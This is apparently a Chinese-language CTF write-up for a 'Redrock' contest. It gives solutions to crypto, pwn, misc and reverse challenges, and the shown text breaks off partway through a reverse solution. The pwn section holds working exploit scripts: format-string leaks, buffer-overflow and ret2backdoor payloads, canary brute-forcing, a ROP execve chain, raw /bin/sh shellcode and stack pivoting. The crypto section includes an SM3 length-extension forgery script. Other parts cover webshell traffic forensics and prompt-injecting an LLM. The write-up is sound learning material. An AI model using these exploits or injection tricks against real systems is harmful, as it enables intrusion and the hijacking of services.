Crypto

维也纳的传说

因为 b = a⁻¹ mod REDROCK( REDROCK 由 p 和 q 构成的六次多项式),通过连分数逼近 b/n³ ≈ k/a 找 REDROCK 的候选值,再将其转化为关于 p 的整系数多项式方程并求整数根,从而分解模数 n,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import sys
n = 21330417178780935607595719214966827164644168031404808123536422759093290654986186984779986124674065535048698564789683549387167734567494889727987768739933498971678349576980075810141539382624850797422925386849362264170297518281202626097673334149478517144240971291329443074078694959582725468708457447227839639349739044957816203295007779137952520903181880849153195328904024436481380759376233482818364767325923234064373968475435356362671946576770311758272451460209156772844600601230737225146598490484466829882102241353232243507831156969904841311483482713169909455550241947379796131122370013667777700889353607394579316593337
b = 4274002068103948012295387261296335276534073099764911383581636052340425889440119093475654911229956990021631007428441154157488056344547798620430529214277349041556790618161818511718309258066165521737172848433908748817848729247750213762385803511709610067956121318100202349530582525469139473585392121695567345902964897960223290717588859618755925022435736111212827999806208118196354069344934214573621995398144326767926165385982457100721541082427906774921027937051188323956769161245937772677935416740908446109687284184167848833056958122757276420732909968798176993295703107673527878962729869775179872093620480326690502360060225746120709770398780596068972997252921802475252256298127206044515826804621134200506775625727572326491067277587238664390729960100760636873864974010711754477446449874404297642031752514960431071947785961355012326922543953525772263663656039674021384773721028596399395432038078499373199101030427802797539825191247312297534690911344198747877700456549139900318709109177682768506176815700058636552412798079875260358961926808393450246166788216002272206242946956531722642459995465913686099572185124990781625988846246571306218717850012963928755864429892128097648825866032216862551404588257473250541131565067641080675004580693003553639459436345670000298447491578375883597811206113993332600777868226211055469567433660584476778635254554601006981400456808021357182570178949212462624967529291993282905870149678556609277335627148523389403901209573539193268092883458751447495920686293774234611629921988506226058722069224304453045240777225585575100737004281922392152844890518453502704869327667163246938161462708361897147119495750035205280406081502619321955117600454339048434848118834158938718872053038798540173249401542094363960755013616353935754932738696143370355302715096550112203371006534034453360853914946702897035445067615544765766094384280099673
c = 1313107055057950889307246874834282057796234858584841034116794626165722915548321096288352912266127849525302349162648294622656183904161468685960139363269275869256980163410813173917558346579222752242035463610071956859229359412389739876928832683492363852309619828748080876783596406890654906838878078524446527746824635074501263977485142198597177933002571851122614699284621724742192568428042549822917952073765289139545916107402308221320367813722900920527074762317970197470648785805169869097124930596613880361126245068232142054744643629840280759560511993618458008673926939940350125286138346243627616381829970641311056124602
e = 65537
P = PolynomialRing(ZZ, 'x')
x = P.gen()

print("[*] Starting Loop: Recover REDROCK and solve for p simultaneously...")

target_ratio = b / (n**3)
convergent_gen = target_ratio.continued_fraction().convergents()

final_p = None
final_q = None

for frac in convergent_gen:
k = frac.numerator()
a = frac.denominator()

# Pruning based on bit length of 'a'
if a.nbits() > 500:
break

if k == 0: continue

num = a * b - 1
if num % k == 0:
candidate_rr = num // k

# Loose check for REDROCK size
if candidate_rr.nbits() == (n**3).nbits():

poly_p = (x - 82) * (x + 69) * (x - 68)
poly_q_scaled = (n - 79*x) * (n + 67*x) * (n - 75*x)

equation = poly_p * poly_q_scaled - candidate_rr * x**3

# Find integer roots
roots = equation.roots(ring=ZZ)

for root, multiplicity in roots:
if root > 0:

if n % Integer(root) == 0:
final_p = Integer(root)
print(f"[+] Found valid p: {final_p}")
break

if final_p:
break

if final_p:
final_q = n // final_p
print("[*] Decrypting Flag...")

phi = (final_p - 1) * (final_q - 1)
d = inverse_mod(e, phi)
m = power_mod(c, d, n)

try:
from Crypto.Util.number import long_to_bytes
flag_bytes = long_to_bytes(m)
print(f"\nFLAG: {flag_bytes.decode()}")
except Exception as e:
print(f"Decrypted integer m: {m}")
else:
print("[-] Failed to find p. The attack assumptions might need adjustment.")

img

call1ng小秘密

brainfuck解码->base64->凯撒

img

img

1
Redrock{call1ng_have_28G_dictionary}

call1ng的中秘密

非常简单的RSA,e很小,直接开三次方

1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 10034458838192354450378996730371090139959078700304989320970470791827709774544051882909504284747432298412371995402769326066736060976548710999109630755854407549444549549735676445234518002317773499031649501473534060667165388944224036836209439279426386442400055821547280683413687958060329873738954349378987874163700505368918514568579218481284408157322593226120835440877748917765905930070492425758131612847519821028911314119892661965475651465106785480609441944785711632658843514760244120843987753943553073160041136621713048017335259479885274605968936731308517402206644004257673190155024729770535761903206196764797956566111
e = 3
c = 68807479857484550806391729758389898946524397942903876441962404719735555961923931034661024216721542983397545329074866058914183624766171319161545208892994234066410868707164031462060599514857031187502908132566888262717583311222196599554744857363781871367156348354921061

m, exact = gmpy2.iroot(c, e)

if exact:
flag = long_to_bytes(m)
print(f"Flag: {flag.decode()}")
Redrock{small_e_result_unsafe_crypto}

公共密钥的揭示

image-20260502173036796

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2
from Crypto.Util.number import long_to_bytes, inverse

n = 146878380672316479844233362984600788617001005000700546389849745722524341147552213667146186984492489560397763953538282392357582139086230280528214619997606710607835035864019737700412495664719912477884474199745634668955688629916059945763451519948914271697365026194364957932899444033424783323792417895778485099887
leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091
c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793
e = 65537

A = 1024
B = -leak
C = n

delta = gmpy2.mul(B, B) - 4 * A * C
sqrt_delta = gmpy2.iroot(delta, 2)[0]

p = (-B + sqrt_delta) // (2 * A)
q = n // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m).decode())
REDROCK{V3ry_s1mp1e_R5A_isn7_it?}

FileView😐

哈希长度扩展攻击

SM3 并不是一次性把所有数据算完的,而是分块处理(每块 64 字节)。前一个块运算的结果(即内部状态 IV),会作为下一个块的初始向量(Input)。服务器给的 token,本质上就是处理完 Secret 后,SM3 算法停留在内存里的最后状态。如果能拿到这个状态,就可以在这个状态的基础上继续往后算

Secret 长度 = 64 字节。Original Token = SM3(Secret)。

伪造 SM3(Secret + Padding + "REDROCK")。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import urllib.parse, urllib.request, struct, re

TARGET = "http://localhost:62723"
SECRET_LEN = 64 # 题目已知 Secret 长度

class SM3:
def __init__(self):
self.IV = [0x7380166f, 0x4914b2b9, 0x172442d7, 0xda8a0600, 0xa96f30bc, 0x163138aa, 0xe38dee4d, 0xb0fb0e4e]
self.T = [0x79cc4519] * 16 + [0x7a879d8a] * 48

def _rol(self, x, n): return ((x << n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff)
def _ff(self, x, y, z, j): return x ^ y ^ z if j < 16 else (x & y) | (x & z) | (y & z)
def _gg(self, x, y, z, j): return x ^ y ^ z if j < 16 else (x & y) | (~x & z)
def _p0(self, x): return x ^ self._rol(x, 9) ^ self._rol(x, 17)
def _p1(self, x): return x ^ self._rol(x, 15) ^ self._rol(x, 23)

def _cf(self, v, b):
w = [struct.unpack('>I', b[i*4:(i+1)*4])[0] for i in range(16)]
for j in range(16, 68):
w.append(self._p1(w[j-16] ^ w[j-9] ^ self._rol(w[j-3], 15)) ^ self._rol(w[j-13], 7) ^ w[j-6])
w1 = [w[j] ^ w[j+4] for j in range(64)]
r = list(v)
for j in range(64):
ss1 = self._rol((self._rol(r[0], 12) + r[4] + self._rol(self.T[j], j%32)) & 0xffffffff, 7)
ss2 = ss1 ^ self._rol(r[0], 12)
tt1 = (self._ff(r[0], r[1], r[2], j) + r[3] + ss2 + w1[j]) & 0xffffffff
tt2 = (self._gg(r[4], r[5], r[6], j) + r[7] + ss1 + w[j]) & 0xffffffff
r[3]=r[2]; r[2]=self._rol(r[1], 9); r[1]=r[0]; r[0]=tt1
r[7]=r[6]; r[6]=self._rol(r[5], 19); r[5]=r[4]; r[4]=self._p0(tt2)
return [r[i] ^ v[i] for i in range(8)]

def lea(self, old_hash, total_len, append):
"""执行长度扩展攻击"""
# 1. 恢复 IV
self.IV = [int(old_hash[i:i+8], 16) for i in range(0, 64, 8)]
# 2. 构造新块 (AppendData + SM3 Padding)
# 注意: 这里的长度是 (Secret + GluePadding + AppendData) 的总长度
msg = append + b'\x80' + b'\x00' * ((56 - 1 - len(append)) % 64)
msg += struct.pack('>Q', (total_len + len(append)) * 8)
# 3. 计算 Hash
for i in range(0, len(msg), 64): self.IV = self._cf(self.IV, msg[i:i+64])
return "".join(f'{x:08x}' for x in self.IV)

def exploit():
try:
# 1. 获取初始 Token
print(f"[*] Fetching token from {TARGET}...")
resp = urllib.request.urlopen(TARGET)
token = urllib.parse.parse_qs(urllib.parse.urlparse(resp.geturl()).query)['token'][0]
print(f"[+] Token: {token}")

# 2. 计算 Glue Padding (Secret 后的填充)
# Secret(64) 占满一块,Padding 独占第二块: 0x80 + 55个0x00 + 长度(64*8)
glue = b'\x80' + b'\x00' * 55 + struct.pack('>Q', SECRET_LEN * 8)

# 3. 长度扩展攻击
# 总处理长度 = Secret(64) + Glue(64) = 128
new_token = SM3().lea(token, 128, b"REDROCK")
print(f"[+] New Token: {new_token}")

# 4. 发送 Payload
# user = glue + "REDROCK"
payload = "".join(f"%{b:02X}" for b in glue + b"REDROCK") # 手动URL编码
final_url = f"{TARGET}/preview?user={payload}&token={new_token}"

print(f"[*] Sending exploit...")
res_content = urllib.request.urlopen(final_url).read().decode('utf-8', 'ignore')

# 5. 提取 Flag
if flag := re.search(r'(REDROCK\{.+?\}|flag\{.+?\}|GZCTF\{.+?\})', res_content):
print(f"\n[SUCCESS] {flag.group(1)}\n")
else:
print("[-] Flag not found (check output manually).")

except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
exploit()
REDROCK{15799821-f67e-4999-a0db-cc9a500edd7d}

Pwn

卷娘的找寻

img

Flag 在 flag_buf,还有一个printf(user_buf)格式化字符串漏洞

user_buf: rbp-0x90,

flag_buf: rbp-0x50,相差0x90 - 0x50 = 0x40字节。8个内存单元。因此 flag_buf 距离 user_buf 的为 8个栈单元

以AAAA为做标记,发送 payload,从程序输出中找到AAAA对应的十六进制标识(0x41414141),以此确定user_buf的格式化偏移n;算出flag_buf的格式化偏移为n+8;随后使用%flag_offset$p读取十六进制原始数据;提取小端序解码 Hex 数据即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.arch = 'amd64'
io = remote('127.0.0.1', 12345)
DONE = b"\nDone!"
flag_offset = 8 # 默认偏移(探测失败直接使用)

# 1. 跳过欢迎+探测偏移
io.recvline()
io.recvline()
io.sendline(b"AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
try:
res = io.recvuntil(DONE, drop=True).decode()
if "0x41414141" in res:
idx = res.split('.').index([p for p in res.split('.') if "0x41414141" in p][0])
flag_offset = idx + 1 + 8 # user_buf偏移+8=flag偏移
except:
pass

# 2. 重新连接+读取flag
io.close()
io = remote('127.0.0.1', 12345)
io.recvline()
io.recvline()
payload = b".".join([f"%{flag_offset+i}$p".encode() for i in range(6)])
io.sendline(payload)
leak = io.recvuntil(DONE, drop=True).decode().strip()

# 3. 解码+提取flag
flag = ""
for part in leak.split('.'):
if '0x' in part:
try:
flag += p64(int(part,16)).decode(errors='ignore')
except:
continue
final_flag = re.search(r"(flag|call1ng)\{[^}]+\}", flag)
print(f"Flag: {final_flag.group(0) if final_flag else flag}")

io.close()

img

卷娘没钱了┭┮﹏┭┮

img

经典菜单题

img

购买函数,让 money 的值大于 999999即可

在 shop() 函数里,无法赚钱,只能花钱没有溢出。

img

no函数

money -= 20;没有判断条件

当小于0money 会变成负数,无符号整数实现溢出

img

ida_gogogo

img

只需要输入114514即可得到权限

img

来签个到吧!

连上题目直接出

img

卷娘的记忆

ida看到了后门函数

img

地址为0x8049233

生成200个字符输入到程序中,得到错误跳转到0x61616175,此处0x61616175是小端序的

img

查找偏移量,也就是找b’\x75\x61\x61\x61’的位置

img

得到偏移量为80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
OFFSET = 80
BACKDOOR_ADDR = 0x8049233
HOST = '127.0.0.1'
PORT = 12345
context(arch='i386', os='linux', log_level='info')
p = remote(HOST, PORT)
print(f"[+] 已连接 {HOST}:{PORT}")
# 构造Payload(垃圾数据 + backdoor地址)
payload = b'A' * OFFSET + p32(BACKDOOR_ADDR)
print(f"[+] Payload构造完成:{OFFSET}个A + {hex(BACKDOOR_ADDR)}")

p.recv(1024) # 接收所有提示信息,无需匹配中文
p.sendline(payload)
print("Payload已发送")
p.interactive()

img

卷娘的金丝雀

Ida 后门函数地址0x401282加上程序泄露 Canary 值

img

buf 到 Canary 的偏移:72 字节(0x48)

Canary 到返回地址的偏移:16 字节(8 字节 Canary + 8 字节保存的 RBP)

最终覆盖返回地址的总偏移:88 字节(0x58)

img

payload = 填充数据(72字节) + Canary(8字节) + RBP填充(8字节) + ret指令地址(8字节) + backdoor地址(8字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote("127.0.0.1", 12345)
#提取Canary(匹配0x前缀)
p.recvuntil(b"0x")
canary_hex = p.recvline().strip().decode()
canary_full = "0x" + canary_hex
canary = p64(int(canary_full, 16))
print(f"提取到当前Canary:{canary_full}")
print(f"转换为二进制Canary:{canary}")

ret_addr = p64(0x40101a)
backdoor_addr = p64(0x401282) # backdoor函数地址
padding1 = b'A' * 72
rbp_padding = b'B' * 8

payload = padding1 + canary + rbp_padding + ret_addr + backdoor_addr
p.sendline(payload)
print("payload已发送,尝试获取shell...")
p.interactive()

img

大偷yeye

img

以当前时间戳为srand种子,生成 1~1000 随机数,猜对/bin/sh

写脚本获取本地当前时间戳;遍历候选种子,计算对应随机数;然后发送猜测,验证是否成功;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import ctypes

libc = ctypes.CDLL("libc.so.6")
HOST, PORT = "127.0.0.1", 12345
current_time = libc.time(0)
seeds = [current_time, current_time-1, current_time+1]
correct_num = None

for seed in seeds:
io = remote(HOST, PORT)
libc.srand(seed)
guess = (libc.rand() % 1000) + 1
io.sendlineafter(b"Enter your guess: ", str(guess).encode())
res = io.recv(4096)
io.close()
if b"you beat" in res or b"you win" in res:
correct_num = guess
break

if correct_num:
io = remote(HOST, PORT)
io.sendlineafter(b"Enter your guess: ", str(correct_num).encode())
io.interactive()
else:
print("Guess failed")

img

拯救大兵call1ng

img

img

No NX栈可执行 ,

程序通过 printf(format, buf) 打印了 buf 的真实栈地址

read(0, buf, 0x40) 读取了 64 字节,而 buf 只有 16 字节,存在溢出。可以把返回地址 改写成 Shellcode 所在的地址。 根据栈布局:[Buf (16)] + [RBP (8)] + [Ret (8)] + [Shellcode (剩余空间)]。 Shellcode 实际上被放在了 Ret 之后的位置。 所以目标地址 = A + 16 + 8 + 8-> 泄露地址** + 32**。

read 总共读 64 字节。 Padding(24) + Ret(8) 占用了 32 字节。 剩下 64 - 32 = 32 字节给 Shellcode。 使用 23 字节的短 Shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('127.0.0.1', 12345)
# 提取栈地址
p.recvuntil(b"[")
buf_addr = int(p.recvuntil(b"]", drop=True), 16)
success(f"Stack Leak: {hex(buf_addr)}")
# 清理剩余输出
p.recvuntil(b": ")

# 构造 Payload Shellcode (execve /bin/sh)
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# 目标地址 = buf起始地址 + 填充长度(24) + ret长度(8)
shellcode_addr = buf_addr + 32

payload = flat([
b'A' * 24,
p64(shellcode_addr),
shellcode
])
p.sendline(payload)
p.interactive()

img

梦

checksec一下

img

img

NX 开启,Canary 开启,No PIE,read(0, v1, 128),v1 大小 36 字节

img

程序内包含 /bin/sh 字符串,但没有 system 函数

由于无法直接泄露 Canary,但可以多次尝试连接

Canary 为 4 字节,最低位固定为 \x00。剩余 3 字节是随机的。保持 Offset 不变,从第 2 个字节开始,尝试 0x00-0xff。若程序不报错则对。逐位爆破出完整 Canary,程序没有 system 函数,构造 execve("/bin/sh", 0, 0) 系统调用

栈的结构是:[缓冲区] -> [Canary] -> [Saved EBP] -> [Ret Addr]。v1 开始于 ebp - 0x28 (即 40 字节)。Canary 位于 ebp - 0x4 (4 字节)。

offset = 40 - 4 = 36字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context(arch='i386', os='linux', log_level='info')

ip = '127.0.0.1'
port = 12345
offset = 36
#爆破 Canary
canary = b'\x00'
log.info("Start Brute-forcing Canary...")

for i in range(3):
for b in range(256):
# 每次尝试需新建连接,level='error' 屏蔽连接日志
p = remote(ip, port, level='error')
p.recvuntil(b"find her?")

# 发送探测包
p.send(b'A' * offset + canary + p8(b))

# 接收回显判断
res = p.recvall(timeout=0.5)
p.close()

if b"stack smashing" not in res:
canary += p8(b)
log.success(f"Found: {canary.hex()}")
break

log.success(f"Final Canary: {canary.hex()}")

p = remote(ip, port)
p.recvuntil(b"find her?")

# Gadgets
pop_edx_ebx_esi = 0x0805c6de
pop_eax = 0x0804998c
pop_ebx_ecx = 0x0804998e
int_0x80 = 0x08049993
bin_sh = 0x080af014

# 构造 Payload
payload = flat([
b'A' * offset, # Padding
canary, # Canary
b'B' * 4, # Saved EBP

# execve("/bin/sh", 0, 0)
p32(pop_edx_ebx_esi), p32(0), p32(0), p32(0),
p32(pop_eax), p32(0xb),
p32(pop_ebx_ecx), p32(bin_sh), p32(0),
p32(int_0x80)
])

p.send(payload)
p.interactive()

img

高处不胜寒

img

img

img

缓冲区 buf 大小:48 字节。

read 读取大小:55 字节。剩余:55 - 48 = 7 字节。

要覆盖返回地址,需要 $$48 (\text{buf}) + 8 (\text{rbp}) = 5$$ 字节

但只有 7 字节溢出

利用 main 函数结尾的 leave; ret 指令,题目给出的 printf 获取 buf 在栈上的真实地址(设为 Target_Addr)。

通过 7 字节溢出,将栈上的 Saved RBP 修改为 Target_Addr

当 main 执行 leave时:

mov rsp, rbp:此时 RBP 已经是我们伪造的地址了,所以 RSP (栈指针) 跳到了我们的 buf

payload:

偏移 内容 说明
00-07 AAAAAAAA 填充,被 leave 中的 pop rbp 消耗
8-15( ret_addr 对齐,main返回RSP+8,修复system6字节对齐问题
16-23 backdoor 后门地址
24-47 padding 填充剩余空间
48-54 buf_addr 覆盖 Saved RBP,将栈劫持回buf

64位 Linux 的 system() 函数要求调用时栈必须 16字节对齐(地址尾数是 0)。如果我们在栈迁移后直接跳去 backdoor,栈尾数是 8,会导致程序崩溃。但是可以先跳到 0x40101a (执行 ret)。因为ret 指令执行一次 pop 操作。栈指针 (RSP) 往上移动 8 字节。这样就能对齐,再跳去 backdoor,system() 就能正常运行了。

img

得到ret_addr = 0x40101a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('127.0.0.1', 12345)

# 1. 提取地址
p.recvuntil(b"Address: ")
buf_addr = int(p.recvuntil(b")", drop=True), 16)
success(f"Buf Addr: {hex(buf_addr)}")

# 2. 准备地址
backdoor = 0x4011b6
ret_addr = 0x40101a # 栈对齐垫片

# 3. 构造栈迁移 Payload
payload = flat([
b'A' * 8,
p64(ret_addr),
p64(backdoor),
b'B' * 24,
p64(buf_addr)
])
p.send(payload)
p.interactive()

img

MISC

点击就送 flag

1
redrock{我已仔细阅读以上内容,保证不会违反比赛规则,公平竞争!}

黑客call1ng

1
2
3
4
5
1.内网哪台机子被攻陷当作黑客的跳板机?(回答ip地址)
2.黑客上传的webshell名称是什么?
3.黑客上传的webshell密码是什么?
4.黑客的存放webshell的vps的ip是什么?
flag格式Redrock{md5(答案1_答案2_答案3_答案4)}

过滤一下post,得到一个显眼的文件

img

是webshell无疑了

img

在 Wireshark 中查看 192.168.190.131 不断向 .133 发送带有恶意代码的 POST 请求,

192.168.190.131。为跳板机

名称:Update_config_1.php

流量包中的数据以 Car1N0tCat=... 开头,后面紧跟 PHP 混淆代码,说明该参数名即为密码。

VPS 是黑客在公网上租用的服务器,用于存放恶意工具或接收反弹 Shell

http.request.uri contains "Update_config_1.php"筛选 Webshell 文件相关的所有 HTTP 请求

img

在 2658 号包的 updateHost 参数中直接暴露了 43.139.95.95 这个非私有地址。

拼接起来192.168.190.131_Update_config_1.php_Car1N0tCat_43.139.95.95

1
Redrock{f385c4b8d42de5d60e52965ca40a4af0}

m的小秘密

根据题目描述掩码攻击

img

img

得到密码,解压缩发现又需要密码,这个时候有个Hint一看就是伪加密,去掉得到一张截图的png图片但是还是有密码

img

当时没注意到加密算法,以为是纯爆破,后来新hint一上就知道是明文攻击了,

89504e470d0a1a0a0000000d49484452: 这就是 PNG 的固定文件头 hex。

用bk明文攻击

img

得到最终图片

img

1
Redrock(Mv4getab1e_1ikes_z1p}

Qu43ter的秘密

img

要找到m,首先尝试连接区块链读取数据通过公共 RPC 节点可以查询链上数据

以太坊智能合约的数据存储在 Storage 中,按 Slot(槽位) 组织:

由于以太坊虚拟机 (EVM) 的存储是按 32 字节,把合约字节码丢给ai分析得知这是一个RSA加密

img

img

首位的那两个128位的应该就是pq

让ai写个脚本读取密文c

1
2
3
4
5
6
7
8
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('https://ethereum-sepolia-rpc.publicnode.com', request_kwargs={'timeout': 30}))
CONTRACT = '0x0CB91a72FD272654f85049a24a7B7EE7fcAC5Bfe'

slot0 = w3.eth.get_storage_at(CONTRACT, 0)
c = int.from_bytes(slot0, 'big')
print(f"密文 c = {hex(c)}")

得到0x2df665b3b17d156d369ac48a692261e788a70558e8f089fd99132ab1ecb1ec05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 密文 (来自 Slot 0)
c = 0x2df665b3b17d156d369ac48a692261e788a70558e8f089fd99132ab1ecb1ec05

# 从字节码提取的 RSA 参数
p = 0xe5d53795e6420734143c7f68b2b4264b
q = 0x9766970a3fc915dbbbe7c8408f6678e9
e = 0x010001

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

hex_m = hex(m)[2:]
if len(hex_m) % 2 != 0:
hex_m = '0' + hex_m
flag = bytes.fromhex(hex_m).decode('utf-8')
print(f"Flag: {flag}")
REDROCK{D0nt_h4rdcode_5ens_data}

傻子难骗

提示词注入,没什么好说的不断尝试

经过反复试得到第一段

img

第二段就比第一段好弄多了

img

1
redrock{llm_1nj3c710n_h45_d33p_nu4nc3d_499af135-f7e9-4fa8-aa71-2a864e7614c5}

真假杀软

内存取证题,有两个关键Hint问题1,3的哈希这样就简单多了

1
2
3
4
5
6
1.假冒杀毒软件的网站是什么如 abcd.com (填主域名)
2.下载后可执行文件名是什么,带后缀
3.请分析病毒回连的域名是什么
答案三的sha256:a268df2bb9b2926ad1c7a0c349380b1e19d76fb12fa1d8012dbb6e2d38723ba1
答案一的sha256:450c878267a137bc3ee2bb67fb7d573f294c7a6b6ec24ce980e10263e4e107de
python vol.py -f DESKTOP-A2L4C1V-20251117-030051.raw windows.info

先看一下基础信息

img

第一问要找下载的网站

先提取字符串信息然后再过滤出网址信息

1
2
步骤一:C:\Users\mikko\Desktop\strings\strings.exe -n 6 DESKTOP-A2L4C1V-20251117-030051.raw > allstrings1.txt
步骤二:Get-Content allstrings1.txt | Select-String -Pattern "http[s]?://[a-zA-Z0-9\.-]+(?:\.[a-zA-Z]{2,})?" -AllMatches | ForEach-Object { $_.Matches.Value } > found_urls.txt

img

搜索到了huorongs.com

去比对一下哈希

img

跟题目一样,

第二问再提出exe文件,一般的可执行文件都是这个

1
Select-String -Path allstrings1.txt -Pattern "Downloads.*\.exe" > result_exe.txt

img

点进去就是huorong_signed_2.exe 第三问:要找病毒回连域名

网络连接列表

1
python vol.py -f DESKTOP-A2L4C1V-20251117-030051.raw windows.netscan > net_results.txt

发现了一个特殊的端口, 它连的是 5000 端口

img

去查这个ip对应的域名

img

找到最近的一个去看哈希对不对

img

发现一样

这就找奇了,拼接起来

1
Redrock{``huorongs.com``_huorong_signed_2.exe_``xyk33.cyou``}

好友多多

拉人助力即可,或者用不同设备信息助力

1
Redrock{INILelmxbz8oXckZSxlqAUqwUKit1iYp}

Reverse

Shanghai Visa 极速版

解压apk,ida代开找到关键函数

img

发现只是rc4加密而已,找到密文unk_CA70

点进去看Rc4密钥

img

发现是一个假密钥,然后在左侧函数名栏看到一个奇怪的函数名,

img

点进去看是

img

key,转换一下是字符redrock_realkey,拿去当rc4密钥解密文

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import ARC4

# 1. 密文
ciphertext_hex = "B0 D1 E0 0F 7C A5 F3 95 3A 2E 01 F8 B3 A1 8F B8 20 37 A6 5D F8 03 E5 A1 9C 05 D5 64 DC 04 E7 C7 08 E4 5B 2F B9 95 37"
data = bytes.fromhex(ciphertext_hex)
# 2. 密钥
key = b"redrock_realkey"
# 3. 解密
rc4 = ARC4.new(key)
flag = rc4.decrypt(data)

print("Flag:", flag.decode('utf-8'))
redrock{.1n1t_4rr4y_runs_b3f0r3_5t4rt5}

Start

main函数点击flag1变量

img

img

shift+e得到第一段redrock{1d4_15_

shift+f12查找字符串

img

得到第二段4_v3ry_

交叉引用得到第三段

img

1mp0rt4nt_t00l}

拼起来redrock{1d4_15_4_v3ry_1mp0rt4nt_t00l}

位运算

py解包得到bitwise.pyc不过python版本比较高,

直接看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import marshal
import dis
import sys

filename = r"C:\Users\mikko\Desktop\红岩杯\re\bitwise.pyc"

def analyze_recursive(code_obj, depth=0):
prefix = " " * depth
print(f"\n{prefix}{'='*30}")
print(f"{prefix}分析层级: {depth} | 对象名: {code_obj.co_name}")
print(f"{prefix}{'='*30}")

# 1. 打印局部变量名
print(f"{prefix}局部变量 (co_varnames): {code_obj.co_varnames}")

# 2. 打印常量池 (寻找加密后的数据)
print(f"{prefix}常量池 (co_consts):")
for i, c in enumerate(code_obj.co_consts):
print(f"{prefix} [{i}]: {repr(c)}")

# 3. 打印汇编指令 (核心逻辑)
print(f"\n{prefix}--- 汇编指令 ---")
dis.dis(code_obj, depth=depth)

# 4. 递归处理嵌套的 code object
for const in code_obj.co_consts:
if isinstance(const, type(code_obj)):
analyze_recursive(const, depth + 1)

try:
with open(filename, "rb") as f:
data = f.read()
# 跳过 3.11 的 16 字节头部
code = marshal.loads(data[16:])
analyze_recursive(code)
except Exception as e:
print(f"发生错误: {e}")

然后把得到的汇编代码丢给ai分析一下

得到源码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def check(s):
if len(s) != 46: # 对应汇编 30-38 行
print('Length incorrect')
return False

# 第一段:s[0:8]
# 逻辑:ord(ch) << 3 == target
part1 = (912, 808, 800, 912, 888, 792, 856, 984)
for ch, target in zip(s[0:8], part1):
if ord(ch) << 3 != target: return False

# 第二段:s[8:15]
# 逻辑:(ord(ch) >> 1 == j) and (ord(ch) & 1 == k)
part2_j = (49, 24, 58, 59, 24, 26, 25)
part2_k = (0, 1, 0, 1, 1, 1, 1)
for ch, j, k in zip(s[8:15], part2_j, part2_k):
if (ord(ch) >> 1 != j) or (ord(ch) & 1 != k): return False

# 第三段:s[15:24]
# 逻辑:ord(ch) | 0 == target (其实就是直接相等)
part3 = (95, 48, 112, 53, 95, 64, 114, 101, 95)
for ch, target in zip(s[15:24], part3):
if (ord(ch) | 0) != target: return False

# 第四段:s[24:34]
# 逻辑:~ord(ch) == target (汇编 558行 UNARY_INVERT)
part4 = (-100, -49, -110, -110, -49, -111, -96, -50, -111, -96)
for ch, target in zip(s[24:34], part4):
if ~ord(ch) != target: return False

# 第五段:s[34:46]
# 逻辑:ord(ch) ^ 1131796 == target
part5 = (1131895, 1131878, 1131811, 1131876, 1131872, 1131851, 1131808, 1131896, 1131891, 1131812, 1131809, 1131881)
for ch, target in zip(s[34:46], part5):
if (ord(ch) ^ 1131796) != target: return False

return True

逆向解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Part 1: 左移 3 位逆运算 (右移 3)
p1 = (912, 808, 800, 912, 888, 792, 856, 984)
f1 = "".join([chr(x >> 3) for x in p1])

# Part 2: 组合位逆运算
p2_j = (49, 24, 58, 59, 24, 26, 25)
p2_k = (0, 1, 0, 1, 1, 1, 1)
